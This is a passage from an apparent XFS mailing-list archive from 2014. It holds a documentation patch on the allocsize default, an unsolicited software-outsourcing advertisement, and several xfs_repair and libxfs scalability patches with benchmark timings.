TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, ISO2022JP_CHARSET, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 From: Satoru Takeuchi The end-of-file preallocation size is dynamic by default. So the description about the default size of preallocation should be removed. Instead, adding the description about the initial size of dynamic preallocation is useful for users. Signed-off-by: Satoru Takeuchi Cc: Dave Chinner Cc: Rob Landley --- Documentation/filesystems/xfs.txt | 16 ++++++++-------- 1 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt index 5be51fd..30e57b0 100644 --- a/Documentation/filesystems/xfs.txt +++ b/Documentation/filesystems/xfs.txt @@ -23,16 +23,16 @@ default behaviour. allocsize=size Sets the buffered I/O end-of-file preallocation size when - doing delayed allocation writeout (default size is 64KiB). - Valid values for this option are page size (typically 4KiB) - through to 1GiB, inclusive, in power-of-2 increments. + doing delayed allocation writeout. Valid values for this + option are page size (typically 4KiB) through to 1GiB, + inclusive, in power-of-2 increments. The default behaviour is for dynamic end-of-file - preallocation size, which uses a set of heuristics to - optimise the preallocation size based on the current - allocation patterns within the file and the access patterns - to the file. Specifying a fixed allocsize value turns off - the dynamic behaviour. + preallocation size (initial size is 64KiB), which uses a + set of heuristics to optimise the preallocation size based + on the current allocation patterns within the file and + the access patterns to the file. Specifying a fixed + allocsize value turns off the dynamic behaviour. attr2 noattr2 -- 1.7.1 From rickie@olivedrabgs.com Mon Feb 24 00:28:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,RCVD_NUMERIC_HELO autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F3F257F53 for ; Mon, 24 Feb 2014 00:28:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFF1B8F8040 for ; Sun, 23 Feb 2014 22:28:04 -0800 (PST) X-ASG-Debug-ID: 1393223279-04cbb00c2a737340001-NocioJ Received: from smtp302.phy.lolipop.jp (smtp302.phy.lolipop.jp [210.157.22.85]) by cuda.sgi.com with ESMTP id 3w0qFTcNeQ14wZ6l for ; Sun, 23 Feb 2014 22:27:59 -0800 (PST) X-Barracuda-Envelope-From: rickie@olivedrabgs.com X-Barracuda-Apparent-Source-IP: 210.157.22.85 Received: from smtp302.phy.lolipop.lan (HELO smtp302.phy.lolipop.jp) (172.17.1.85) (smtp-auth username rickie@olivedrabgs.com, mechanism plain) by smtp302.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Mon, 24 Feb 2014 15:27:56 +0900 Received: from 49.144.105.56 (49.144.105.56) by smtp302.phy.lolipop.jp (LOLIPOP-Fsecure); Mon, 24 Feb 2014 15:27:37 +0900 (JST) X-Virus-Status: clean(LOLIPOP-Fsecure) Message-ID: <530AE658.9080307@olivedrabgs.com> Date: Mon, 24 Feb 2014 14:27:36 +0800 From: "Rickie Amado (PersuasiveSVC)" User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: undisclosed-recipients:; Subject: ODGS, Inc. | Software Development Service Content-Type: multipart/alternative; boundary="------------020701030005070304090204" X-ASG-Orig-Subj: ODGS, Inc. | Software Development Service X-Barracuda-Connect: smtp302.phy.lolipop.jp[210.157.22.85] X-Barracuda-Start-Time: 1393223279 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.75 X-Barracuda-Spam-Status: No, SCORE=1.75 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, HTML_MESSAGE, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO This is a multi-part message in MIME format. --------------020701030005070304090204 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Dear Customer, good day ! For more than 2 years now, ODGS, Inc. provided *Quality IT-related Services* to various industries like Restaurants, Manufacturing, BPO, Real Estate, as well as fellow IT companies, and more, with *Reasonable Cost*. We provide *Inventory* System, *HR* System, *Billing* System, and other *Custom**ized**Software* solutions you may require. Our company is composed of *Skilled Software Developers* who will help you build your required IT solutions. We have teams of developers using *.NET* (C#, VB, ASP), *PHP* (CodeIgniter, Wordpress), as well as *Java* (Struts, Spring/Hibernate). I would like to request a *5-minute call* to discuss how we can support you with your IT concerns. Thank you and looking forward to hearing from you soon ! -- Regards, ----+----1----+----2----+----3----+----4----+----5----+----6----+----7-- Roderick Amado Olive Drab Global Services, Inc. (http://www.olivedrabgs.com) Suite 22, Zeta Building, 191 Salcedo Street, Legaspi Village, Makati City 1229, Philippines Cellphone : +63-918-933-7301 Landline : +63-2-553-7405 (Reception) +63-2-553-7406 (President's Office) "Storms make trees take deeper roots." v --------------020701030005070304090204 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
Dear Customer, good day !

For more than 2 years now, ODGS, Inc. provided Quality IT-related Services to various industries like Restaurants, Manufacturing, BPO, Real Estate, as well as fellow IT companies, and more, with Reasonable Cost.  We provide Inventory System, HR System, Billing System, and other Customized Software solutions you may require.

Our company is composed of Skilled Software Developers who will help you build your required IT solutions.
We have teams of developers using .NET (C#, VB, ASP), PHP (CodeIgniter, Wordpress), as well as Java (Struts, Spring/Hibernate).

I would like to request a 5-minute call to discuss how we can support you with your IT concerns.

Thank you and looking forward to hearing from you soon !


-- 
Regards,
----+----1----+----2----+----3----+----4----+----5----+----6----+----7--
Roderick Amado
Olive Drab Global Services, Inc. (http://www.olivedrabgs.com)
Suite 22, Zeta Building, 191 Salcedo Street, Legaspi Village,
Makati City 1229, Philippines
Cellphone : +63-918-933-7301
Landline  : +63-2-553-7405 (Reception)
            +63-2-553-7406 (President's Office)

"Storms make trees take deeper roots."
v --------------020701030005070304090204-- From dave@fromorbit.com Mon Feb 24 00:29:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D37627F53 for ; Mon, 24 Feb 2014 00:29:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 625F9AC004 for ; Sun, 23 Feb 2014 22:29:37 -0800 (PST) X-ASG-Debug-ID: 1393223374-04cb6c06cf42b800001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id wJCTkuzelMVV4XdT for ; Sun, 23 Feb 2014 22:29:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsQAETmClN5LJYe/2dsb2JhbABZgwY7qHwDBZlHF3SDAjuBAgOIOA6WMLAYjGiCGYQiBKpbgT+CAig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rh-RK for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001L5-QV for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/10, v2] repair: scalability and prefetch fixes Date: Mon, 24 Feb 2014 17:29:19 +1100 X-ASG-Orig-Subj: [PATCH 00/10, v2] repair: scalability and prefetch fixes Message-Id: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223374 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This is a followup to the patchset posted here: http://oss.sgi.com/archives/xfs/2013-12/msg00495.html I've made various changes to address the review comments, and droped the parallelisation of phase 6 after I realised that is was causing occasional problem in pahse 6 (i.e. the simple patch didn't make it entirely threadsafe). There are various other prefetching fixes added to the series as well that help with scalability - mainly to do with reworking the way prefetching runs ahead of the processing threads. This allowed unbound prefetching when the number of inode chunks was less than the queue depth (typically 16384 inode chunks or 65536 inode cluster buffers on 512 byte inode filesystems). This was causing the prefetching to blow out the caches and result in all metadata being read twice - once for the readhead, then again when it was actually necessary. The prefetching was changed to only readahead the AG following the current one being processed, hence preventing thrashing and an awful lot of unnecessary IO and buffer cache churn. I'm not seeing any problems with this series, and performance on CRC filesystems is now on a par with non-CRC filesystems so there are no more known xfs_repair performance issues to be addressed with CRC enabled filesytems after this patch set is applied. Comments, review, flames and testing welcome! Cheers, Dave. From dave@fromorbit.com Mon Feb 24 00:29:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AAE667F59 for ; Mon, 24 Feb 2014 00:29:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6990A8F8037 for ; Sun, 23 Feb 2014 22:29:39 -0800 (PST) X-ASG-Debug-ID: 1393223376-04bdf0083a20baa0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id kO3ZAhNo7jYIjw7w for ; Sun, 23 Feb 2014 22:29:37 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGPxeTIwSqW4NBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rj-S3 for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001LD-RD for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/10] repair: per AG locks contend for cachelines Date: Mon, 24 Feb 2014 17:29:21 +1100 X-ASG-Orig-Subj: [PATCH 02/10] repair: per AG locks contend for cachelines Message-Id: <1393223369-4696-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223376 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The per-ag locks used to protect per-ag block lists are located in a tightly packed array. That means that they share cachelines, so separate them out inot separate 64 byte regions in the array. pahole confirms the padding is correctly applied: struct aglock { pthread_mutex_t lock; /* 0 40 */ /* size: 64, cachelines: 1, members: 1 */ /* padding: 24 */ }; Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Brian Foster --- repair/dino_chunks.c | 24 ++++++++++++------------ repair/dinode.c | 6 +++--- repair/globals.h | 5 ++++- repair/incore.c | 4 ++-- repair/scan.c | 4 ++-- 5 files changed, 23 insertions(+), 20 deletions(-) diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index 65281e4..afb26e0 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -141,7 +141,7 @@ verify_inode_chunk(xfs_mount_t *mp, if (check_aginode_block(mp, agno, agino) == 0) return 0; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { @@ -166,7 +166,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, agbno, state); set_bmap(agno, agbno, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return(0); default: do_warn( @@ -176,7 +176,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); start_agino = XFS_OFFBNO_TO_AGINO(mp, agbno, 0); *start_ino = XFS_AGINO_TO_INO(mp, agno, start_agino); @@ -424,7 +424,7 @@ verify_inode_chunk(xfs_mount_t *mp, * user data -- we're probably here as a result of a directory * entry or an iunlinked pointer */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; cur_agbno += blen) { @@ -438,7 +438,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, cur_agbno, state); set_bmap_ext(agno, cur_agbno, blen, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return 0; case XR_E_INO: do_error( @@ -449,7 +449,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); /* * ok, chunk is good. put the record into the tree if required, @@ -472,7 +472,7 @@ verify_inode_chunk(xfs_mount_t *mp, set_inode_used(irec_p, agino - start_agino); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; @@ -505,7 +505,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return(ino_cnt); } @@ -736,7 +736,7 @@ process_inode_chunk( /* * mark block as an inode block in the incore bitmap */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -755,7 +755,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); for (;;) { /* @@ -925,7 +925,7 @@ process_inode_chunk( ibuf_offset = 0; agbno++; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -946,7 +946,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else if (irec_offset == XFS_INODES_PER_CHUNK) { /* diff --git a/repair/dinode.c b/repair/dinode.c index 4953a56..48f17ac 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -707,8 +707,8 @@ _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" ebno = agbno + irec.br_blockcount; if (agno != locked_agno) { if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); + pthread_mutex_lock(&ag_locks[agno].lock); locked_agno = agno; } @@ -777,7 +777,7 @@ _("illegal state %d in block map %" PRIu64 "\n"), error = 0; done: if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); if (i != *numrecs) { ASSERT(i < *numrecs); diff --git a/repair/globals.h b/repair/globals.h index aef8b79..cbb2ce7 100644 --- a/repair/globals.h +++ b/repair/globals.h @@ -186,7 +186,10 @@ EXTERN xfs_extlen_t sb_inoalignmt; EXTERN __uint32_t sb_unit; EXTERN __uint32_t sb_width; -EXTERN pthread_mutex_t *ag_locks; +struct aglock { + pthread_mutex_t lock __attribute__((__aligned__(64))); +}; +EXTERN struct aglock *ag_locks; EXTERN int report_interval; EXTERN __uint64_t *prog_rpt_done; diff --git a/repair/incore.c b/repair/incore.c index 3590464..a8d497e 100644 --- a/repair/incore.c +++ b/repair/incore.c @@ -294,13 +294,13 @@ init_bmaps(xfs_mount_t *mp) if (!ag_bmap) do_error(_("couldn't allocate block map btree roots\n")); - ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(pthread_mutex_t)); + ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(struct aglock)); if (!ag_locks) do_error(_("couldn't allocate block map locks\n")); for (i = 0; i < mp->m_sb.sb_agcount; i++) { btree_init(&ag_bmap[i]); - pthread_mutex_init(&ag_locks[i], NULL); + pthread_mutex_init(&ag_locks[i].lock, NULL); } init_rt_bmap(mp); diff --git a/repair/scan.c b/repair/scan.c index b12f48b..f1411a2 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -268,7 +268,7 @@ _("bad back (left) sibling pointer (saw %llu should be NULL (0))\n" agno = XFS_FSB_TO_AGNO(mp, bno); agbno = XFS_FSB_TO_AGBNO(mp, bno); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_UNKNOWN: @@ -314,7 +314,7 @@ _("bad state %d, inode %" PRIu64 " bmap block 0x%" PRIx64 "\n"), state, ino, bno); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else { /* * attribute fork for realtime files is in the regular -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 34E667F5A for ; Mon, 24 Feb 2014 00:29:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AC7C1AC004 for ; Sun, 23 Feb 2014 22:29:39 -0800 (PST) X-ASG-Debug-ID: 1393223374-04cb6c06cf42b800003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id sLSSCkQVJ2CAtBNm for ; Sun, 23 Feb 2014 22:29:38 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGPxePAYQiBKpbg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rp-Ve for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:32 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001Lh-UO for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/10] libxfs: remove a couple of locks Date: Mon, 24 Feb 2014 17:29:27 +1100 X-ASG-Orig-Subj: [PATCH 08/10] libxfs: remove a couple of locks Message-Id: <1393223369-4696-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223377 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner THe libxfs cache has a lot of false scalability about it. I can't get lookups to scale past about one and half CPUs, with one of the key problems being a preponderance of global locks. Like just after doing a hash lookup, that is careful only to take the hash chain lock, it takes a global cache lock to update the cache hit statistic. Scalable? Not at all. The node priority stuff is protected by the object locks (i.e the buffer lock) and so it doesn't need locks, either. This doesn't do very much to improve scalability, but it's a small start. Signed-off-by: Dave Chinner --- libxfs/cache.c | 6 ------ 1 file changed, 6 deletions(-) diff --git a/libxfs/cache.c b/libxfs/cache.c index dc69689..9f7f8f4 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -391,9 +391,7 @@ cache_node_get( pthread_mutex_unlock(&node->cn_mutex); pthread_mutex_unlock(&hash->ch_mutex); - pthread_mutex_lock(&cache->c_mutex); cache->c_hits++; - pthread_mutex_unlock(&cache->c_mutex); *nodep = node; return 0; @@ -482,10 +480,8 @@ cache_node_set_priority( else if (priority > CACHE_MAX_PRIORITY) priority = CACHE_MAX_PRIORITY; - pthread_mutex_lock(&node->cn_mutex); ASSERT(node->cn_count > 0); node->cn_priority = priority; - pthread_mutex_unlock(&node->cn_mutex); } int @@ -494,9 +490,7 @@ cache_node_get_priority( { int priority; - pthread_mutex_lock(&node->cn_mutex); priority = node->cn_priority; - pthread_mutex_unlock(&node->cn_mutex); return priority; } -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C5867F59 for ; Mon, 24 Feb 2014 00:29:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5862F8F8037 for ; Sun, 23 Feb 2014 22:29:40 -0800 (PST) X-ASG-Debug-ID: 1393223376-04bdf0083a20baa0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id wMxjKZIYJZc0rUB4 for ; Sun, 23 Feb 2014 22:29:38 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGVo4AgQGEIgSqW4NBKIEsAh4G Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2i-0004rr-0Z for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:32 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001Lr-Vr for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Date: Mon, 24 Feb 2014 17:29:29 +1100 X-ASG-Orig-Subj: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Message-Id: <1393223369-4696-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223378 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner I'd been trying to track down a behavioural difference between non-crc and crc enabled filesystems that was resulting non-crc filesystem executing prefetch almost 3x faster than CRC filesystems. After amny ratholes, I finally stumbled on the fact that btree format directories are not being prefetched due to a missing magic number check, and it's rejecting all XFS_BMAP_CRC_MAGIC format BMBT buffers. This makes prefetch on CRC enabled filesystems behave the same as for non-CRC filesystems. The difference a single line of code can make on a 50 million inode filesystem with a single threaded prefetch enabled run is pretty amazing. It goes from 3,000 iops @ 50MB/s to 2,000 IOPS @ 800MB/s and the cache hit rate goes from 3% to 49%. The runtime difference: Unpatched: Phase Start End Duration Phase 1: 02/21 18:34:12 02/21 18:34:12 Phase 2: 02/21 18:34:12 02/21 18:34:15 3 seconds Phase 3: 02/21 18:34:15 02/21 18:40:09 5 minutes, 54 seconds Phase 4: 02/21 18:40:09 02/21 18:46:36 6 minutes, 27 seconds Phase 5: 02/21 18:46:36 02/21 18:46:37 1 second Phase 6: 02/21 18:46:37 02/21 18:52:51 6 minutes, 14 seconds Phase 7: 02/21 18:52:51 02/21 18:52:52 1 second Total run time: 18 minutes, 40 seconds Patched: Phase Start End Duration Phase 1: 02/21 19:58:23 02/21 19:58:23 Phase 2: 02/21 19:58:23 02/21 19:58:27 4 seconds Phase 3: 02/21 19:58:27 02/21 19:59:20 53 seconds Phase 4: 02/21 19:59:20 02/21 20:00:07 47 seconds Phase 5: 02/21 20:00:07 02/21 20:00:08 1 second Phase 6: 02/21 20:00:08 02/21 20:00:50 42 seconds Phase 7: 02/21 20:00:50 02/21 20:00:50 Total run time: 2 minutes, 27 seconds Is no less impressive. Shame it's just a regression fix. ;) Signed-off-by: Dave Chinner --- repair/prefetch.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/repair/prefetch.c 